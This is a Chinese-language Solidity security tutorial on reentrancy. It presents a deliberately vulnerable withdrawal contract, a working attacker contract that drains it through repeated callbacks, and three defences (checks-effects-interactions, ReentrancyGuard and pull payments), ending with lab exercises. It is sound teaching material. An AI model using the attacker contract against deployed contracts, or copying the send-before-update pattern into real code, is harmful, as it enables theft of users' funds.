“你把钱转出去了,却还没更新余额,
攻击者趁你没反应,再次提款。
然后……再来一次。”
这就是重入攻击。
Reentrancy 是 Solidity 最臭名昭著、历史最悠久的合约漏洞类型。
它不仅出现在**The DAO(2016)**的事件中,几乎每年都有重大项目中招。
本章我们将:
搞清楚 Reentrancy 是什么、为啥能攻击成功
复现一个最小可攻击提款合约 + 攻击者合约
分析攻击流程调用栈
提供三种防御方案,并对比优劣、Gas 成本
给出可部署的测试环境,供你练手
定义:
当合约向外部账户(如 address.call{value:}
)发送 ETH 或调用函数时,如果对方是合约并在其 fallback()
或 receive()
中再次调用原合约未锁定函数,就可以反复“插入执行”造成逻辑错误。
被攻击函数包含外部调用(call、transfer、send)
外部调用发生前,合约状态未更新
被调用方可再次触发该函数
User.withdraw()
├─ call(msg.sender) ← 攻击者合约 fallback()
│ └─ 再次调用 withdraw()
│ └─ 再次 call(msg.sender)
│ ...
合约设计缺陷:先转账后更新余额
攻击者构造 fallback(),每次接收到 ETH 都再次发起提款请求
由于 balances[msg.sender]
未更新,可反复成功提款
最终结果:攻击者仅用一次攻击流程,提走超 30% DAO 资金,迫使以太坊硬分叉。
我们构造两个合约:
VulnerableVault.sol
:一个存在漏洞的提款合约
AttackContract.sol
:一个攻击者编写的钓鱼合约
VulnerableVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
require(balances[msg.sender] > 0, "No balance");
// ⚠️ 问题代码:先转账,再更新状态
(bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
AttackContract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./VulnerableVault.sol";
contract AttackContract {
VulnerableVault public vault;
address public owner;
uint public attackCount;
constructor(address _vault) {
vault = VulnerableVault(_vault);
owner = msg.sender;
}
// 攻击入口:发起存款 + 提款(触发重入)
function attack() external payable {
require(msg.value >= 1 ether, "Need some ETH");
vault.deposit{value: msg.value}();
vault.withdraw();
}
// Fallback:当 vault 回调我们时,再次发起 withdraw()
receive() external payable {
if (address(vault).balance >= 1 ether && attackCount < 10) {
attackCount++;
vault.withdraw(); // 重入再次提款
}
}
// 提款
function collect() external {
payable(owner).transfer(address(this).balance);
}
}
攻击者部署 AttackContract
,注入 1 ETH
调用 attack()
,存入 ETH + 第一次调用 withdraw()
在 vault 的 call
中,触发 receive()
→ 递归触发 withdraw()
vault 未更新余额,允许重复提款
vault 合约资金耗尽
最经典的防御思路:
先检查条件 → 更新状态 → 最后做外部调用
修改 withdraw()
函数为:
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0; // ✅ 状态提前更新
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
✅ 优点:
易理解、逻辑清晰
几乎不影响 Gas 成本
几乎适用于所有合约逻辑结构
引入 OpenZeppelin 安全库:
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SecureVault is ReentrancyGuard {
...
function withdraw() external nonReentrant {
...
}
}
✅ 原理:
nonReentrant
使用布尔锁标志位,防止函数重复调用
所有函数执行前后自动封锁状态变更路径
✅ 注意事项:
所有可能互相调用的外部函数都必须加 nonReentrant
不可嵌套调用其他加锁函数(避免死锁)
反转控制权,不在函数中主动付款
而是让用户在另一个函数中主动 claim 资金
mapping(address => uint256) public pending;
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
pending[msg.sender] += amount;
}
function claim() external {
uint256 amount = pending[msg.sender];
require(amount > 0, "No claim");
pending[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
✅ 优点:
从根本上消除外部 call 的风险点
安全设计模式(推荐用于 reward claim、提款、分红)
防御方式 | 安全性 | 性能 | 易用性 | 推荐场景 |
---|---|---|---|---|
CEI 模式 | ✅✅✅ | ✅✅ | ✅✅✅ | 通用所有外部 call 合约 |
ReentrancyGuard | ✅✅ | ✅ | ✅✅✅ | 多人协作开发、大型协议 |
Pull Payment | ✅✅✅ | ✅✅ | ✅ | 分红、奖励类、提现类逻辑 |
手动部署 VulnerableVault
+ AttackContract
调用 attack(),观察 ETH 被连续提取
修改合约为 CEI 防御后,重新部署验证攻击失败
对比 Gas 成本(用 Hardhat/Foundry trace 查看)
尝试在 ReentrancyGuard
版本中测试多次调用 withdraw 是否会被阻断
重入攻击是 Solidity 安全审计的必修项
只要你的合约包含外部调用,都要考虑重入风险
防御逻辑应默认假设:对方合约可能会回调你自己